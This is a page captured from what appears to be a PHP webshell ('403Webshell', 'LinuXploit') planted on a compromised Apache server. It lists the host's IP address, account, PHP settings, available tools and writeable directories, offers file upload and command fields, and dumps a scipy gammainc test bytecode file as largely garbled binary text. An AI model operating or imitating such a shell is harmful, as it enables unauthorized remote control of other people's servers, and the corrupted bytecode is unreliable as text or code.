403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/scipy/special/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/scipy/special/tests/__pycache__/test_gammainc.cpython-311.pyc
�

d�c����ddlZddlZddlmZmZddlmZddl	m
Z
dddejdfdejfgZGd�d	��Z
Gd
�d��ZdS)�N)�assert_allclose�assert_array_equal)�FuncData)����)rr)rrrc	�$�eZdZej�de��d���Zd�Zej�de	j
ddfe	j
ddfe	j
e	j
e	jfde	j
dfg��d���Zd�Z
d	�Zd
�Zd�Zd�Zd
�ZdS)�TestGammainc�a, xc�X�tjtj||����sJ�dS�N)�np�isnan�sc�gammainc��self�a�xs   �C/usr/lib/python3/dist-packages/scipy/special/tests/test_gammainc.py�test_domainzTestGammainc.test_domains*���x���A�q�)�)�*�*�*�*�*�*�*�c�<�tjdd��dksJ�dS�Nrr)rr�rs r�test_a_eq_0_x_gt_0zTestGammainc.test_a_eq_0_x_gt_0s%���{�1�a� � �A�%�%�%�%�%�%r�
a, x, desiredrrc��tj||��}tj|��rtj|��sJ�dS||ksJ�dSr)rrr
r�rrr�desired�results     r�test_infinite_argumentsz$TestGammainc.test_infinite_argumentssZ����Q��"�"��
�8�G���	%��8�F�#�#�#�#�#�#�#��W�$�$�$�$�$�$rc��ttjdd��tjtjd��dd���tjdd��tjdtj��ksJ�dS�Ni��dg��N�~hr)�atol�rtol)rrrr
�infrs r�test_infinite_limitsz!TestGammainc.test_infinite_limits)st��	��K��c�"�"��K����$�$���		
�	
�	
�	
��{�3��%�%���S�"�&�)A�)A�A�A�A�A�A�Arc�v�tjdd��}ttj|d��d��dS�Nr�
r)r
�arangerrr�rrs  r�test_x_zerozTestGammainc.test_x_zero4s5���I�a������2�;�q�!�,�,�a�0�0�0�0�0rc��tjdd��}tjdd��}tj||��sJ�dS�N绽���|�=rr)rrr
�isclose�rr �limits   r�test_limit_checkzTestGammainc.test_limit_check8sB����U�A�&�&����A�q�!�!���z�&�%�(�(�(�(�(�(�(rc��tjgd���}d}d}|D]}|||zz}||z}�|tjdtjz|z��z}|dz
}|S)N)gUUUUUUտgt��:W^�g��;d�p?g��4;�GE?g�{�>L�g
��6�rr�g�?)r
�array�sqrt�pi)rr�c�res�xfac�cks      r�
gammainc_linezTestGammainc.gammainc_line=s���
�H�@�@�@�
A�
A�������	�	�B��2�d�7�N�C��A�I�D�D��r�w�q���w�q�y�!�!�!���s�
���
rc��tjtjd��dd��}|}tj|||�|��f��j}t
tj|ddd����	��dS)N�i,i�)rrr7g�dy���=�r&)
r
�logspace�log10�vstackr?�Trrr�check)rrr�datasets    r�	test_linezTestGammainc.test_lineKsv���K������c�3�/�/��
���)�Q��4�#5�#5�a�#8�#8�9�:�:�<�����g�v�q�u�=�=�=�C�C�E�E�E�E�Erc���tjddd��}tjddd��}tj|tj||����}t||d���dS)N���r+r$r1rB)r
rCr�gammaincinvrr�rrr�ys    r�test_roundtripzTestGammainc.test_roundtripQs`���K��B��$�$���K��B��$�$���N�1�b�k�!�Q�/�/�0�0����1�5�)�)�)�)�)�)rN)�__name__�
__module__�__qualname__�pytest�mark�parametrize�INVALID_POINTSrrr
r'�nanr!r(r.r5r?rIrO�rrr	r	s�������[���V�^�4�4�+�+�5�4�+�&�&�&��[���_�	���A��	���A��	������ �	
�B�F�A��	/���%�%�
��%�	B�	B�	B�1�1�1�)�)�)�
���F�F�F�*�*�*�*�*rr	c	��eZdZej�de��d���Zd�Zej�de	j
ddfe	j
ddfe	j
e	j
e	jfde	j
dfg��d���Zd�Z
d	�Zd
�Zd�ZdS)
�
TestGammainccr
c�X�tjtj||����sJ�dSr)r
rr�	gammainccrs   rrzTestGammaincc.test_domain[s*���x���Q��*�*�+�+�+�+�+�+�+rc�<�tjdd��dksJ�dSr)rr\rs rrz TestGammaincc.test_a_eq_0_x_gt_0_s%���|�A�q�!�!�Q�&�&�&�&�&�&rrrrc��tj||��}tj|��rtj|��sJ�dS||ksJ�dSr)rr\r
rrs     rr!z%TestGammaincc.test_infinite_argumentsbsZ����a��#�#��
�8�G���	%��8�F�#�#�#�#�#�#�#��W�$�$�$�$�$�$rc��tjdd��tjtjd��ksJ�t	tjdd��tjdtj��dd���dSr#)rr\r
r'rrs rr(z"TestGammaincc.test_infinite_limitsosv���|�D�#�&�&�"�,�r�v�s�*C�*C�C�C�C�C���L��d�#�#��L��b�f�%�%���		
�	
�	
�	
�	
�	
rc��tjdd��}tjdd��}tj||��sJ�dSr0)rr\r
r2r3s   rr5zTestGammaincc.test_limit_checkzsB����e�A�&�&����Q�q�!�!���z�&�%�(�(�(�(�(�(�(rc�v�tjdd��}ttj|d��d��dSr*)r
r,rrr\r-s  rr.zTestGammaincc.test_x_zeros5���I�a������2�<��1�-�-�q�1�1�1�1�1rc���tjddd��}tjddd��}tj|tj||����}t||d���dS)NrKr+r$g�+����=rB)r
rCr�gammainccinvr\rrMs    rrOzTestGammaincc.test_roundtrip�s`���K��B��$�$���K��B��$�$���O�A�r�|�A�q�1�1�2�2����1�5�)�)�)�)�)�)rN)rPrQrRrSrTrUrVrrr
r'rWr!r(r5r.rOrXrrrZrZYs��������[���V�^�4�4�,�,�5�4�,�'�'�'��[���_�	���A��	���A��	������ �	
�B�F�A��	/���%�%�
��%�	
�	
�	
�)�)�)�
2�2�2�*�*�*�*�*rrZ)rS�numpyr
�
numpy.testingrr�
scipy.special�specialr�scipy.special._testutilsrrWrVr	rZrXrr�<module>ris���
�
�
�
�����=�=�=�=�=�=�=�=�������-�-�-�-�-�-��
���V�Q�K����K���C*�C*�C*�C*�C*�C*�C*�C*�L/*�/*�/*�/*�/*�/*�/*�/*�/*�/*r

Youez - 2016 - github.com/yon3zu
LinuXploit